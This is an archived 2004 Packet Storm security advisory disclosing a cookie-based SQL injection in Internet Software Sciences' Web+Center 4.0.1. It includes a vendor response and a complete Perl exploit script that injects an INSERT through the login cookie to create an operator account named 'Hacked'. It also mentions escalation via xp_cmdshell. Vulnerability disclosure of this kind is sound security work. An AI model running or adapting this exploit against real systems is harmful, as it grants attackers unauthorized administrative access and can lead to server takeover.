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webcenterSQL.txt

2004-07-24T00:00:00
ID PACKETSTORM:33868
Type packetstorm
Reporter Noam Rathaus
Modified 2004-07-24T00:00:00

Description

                                        
                                            `*Internet Software Sciences's Web+Center SQL Injection*  
  
*Summary*  
Internet Software Sciences's Web+Center is "A suite of web based  
customer support applications including:  
* Customer+Center  
* Tech+Center  
* Business+Center  
* Pocket+Center".  
  
The Web+Center does a good job of filtering out malicious content from  
incoming user provided data (given via GET and POST requests), however  
neglects to verify whether malicious data is entered via the Cookie  
object. Due to this at least one exploitable SQL Injection vulnerability  
that would allow an anonymous user to at the very least gain  
administrative privileges to the Internet Software Sciences's Web+Center  
product, at the worst case he will be able to get complete control over  
(administrative privileges) the computer on which the Internet Software  
Sciences's Web+Center is installed and utilize it to gain access to  
other computers.  
  
*Details*  
*Vulnerable Systems:*  
* Internet Software Sciences's Web+Center version 4.0.1  
  
As a lot of pages use the Cookie object, but some require a user to  
logon prior to been able to access the page, we have chosen to show the  
vulnerability via the search.asp page found under the tech40 directory.  
  
Other directories also contain such vulnerable pages, customer40's  
DoCustomerOptions.asp one such example.  
  
If we insert a malicious SQL statement to the Cookie object, we can  
modify the 'tech_staff' table, and add a new user that will have the  
permissions of as an operator (tech_level 6).  
  
Depending on what other information is stored on the SQL server, and how  
it was hardened we could obtain:  
1) SQL's administrative username and password  
2) Execute commands via MS SQL's extended procedure (xp_cmdshell)  
3) Trick users into downloading Trojan horses (by providing them with  
solutions for their Tickets) etc.  
  
See the below exploit code demonstrating how we gain administrative  
privileges to Internet Software Sciences's Web+Center, no special  
information is required beside the hostname, and the path under which  
the search.asp page can be located.  
  
*Vendor response:*  
/Our engineers has reviewed the security vulnerability and we are  
working on a updated version of our cookie tech check code that will be  
implemented in our next version. We had already planned to implement a  
more modularized version of the tech security code, so it will be easy  
to check for SQL injection strings in this new modularized code. Thanks  
for pointing this out and to making our product more secure/.  
  
*Testing Methodology:*  
A few months ago Beyond Security built a new module for its Automated  
Scanning Vulnerability Assessment engine to test web sites and web  
applications for security vulnerabilities. This module adds the  
capability to dynamically crawl through a web site and find  
vulnerabilities in its dynamic pages.  
  
This type of tool was considered to be different from the network VA  
tools, but we at Beyond Security believe that these two types of tools  
should be merged into one, and this is what made us incorporate the Web  
Site Security Audit module to our Automated Scanning engine.  
  
For a press release on this integration see:  
http://www.beyondsecurity.com/press/2004/press10030402.htm  
White paper on the first integrated network and web application  
vulnerability scanner: http://www.beyondsecurity.com/webscan-wp.pdf  
  
Our Automated Scanning engine equipped with the Web Site Security Audit  
module did all the tests described in this advisory automatically.  
  
*Exploit:*  
#!/usr/bin/perl  
  
use IO::Socket;  
use strict;  
  
my $host = $ARGV[0];  
my $Path = $ARGV[1];  
  
if (($#ARGV+1) < 2)  
{  
print "iss_helpdesk.pl host path\n";  
exit(0);  
}  
  
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,  
PeerPort => "80" );  
  
unless ($remote) { die "cannot connect to http daemon on $host" }  
  
my $sql = "; INSERT INTO tech_staff (tech_id, tech_password, tech_level,  
first_name, last_name, availability, show_dispatch_flag) VALUES  
('Hacked', 'Hacked', 6, 'Hacked', 'Hacked', 1, 1); --";  
  
$sql =~s/([^a-zA-Z0-9])/uc sprintf("%%%02x",ord($1))/eg;  
  
my $http = "GET /$Path/search.asp HTTP/1.1  
Host: $host  
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6)  
Gecko/20040405 Firefox/0.8  
Accept:  
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Connection: close  
Cookie: ISS_TECH_CENTER_LOGIN='+$sql;  
  
";  
  
print "HTTP: [$http]\n";  
print $remote $http;  
sleep(1);  
  
while (<$remote>)  
{  
# print $_;  
}  
print "\n";  
  
close($remote);  
  
print "You can now logon using the tech username 'Hacked' with the  
password 'Hacked'\n";  
  
exit(0);  
  
*Additional information*  
The information has been provided by Noam Rathaus   
`
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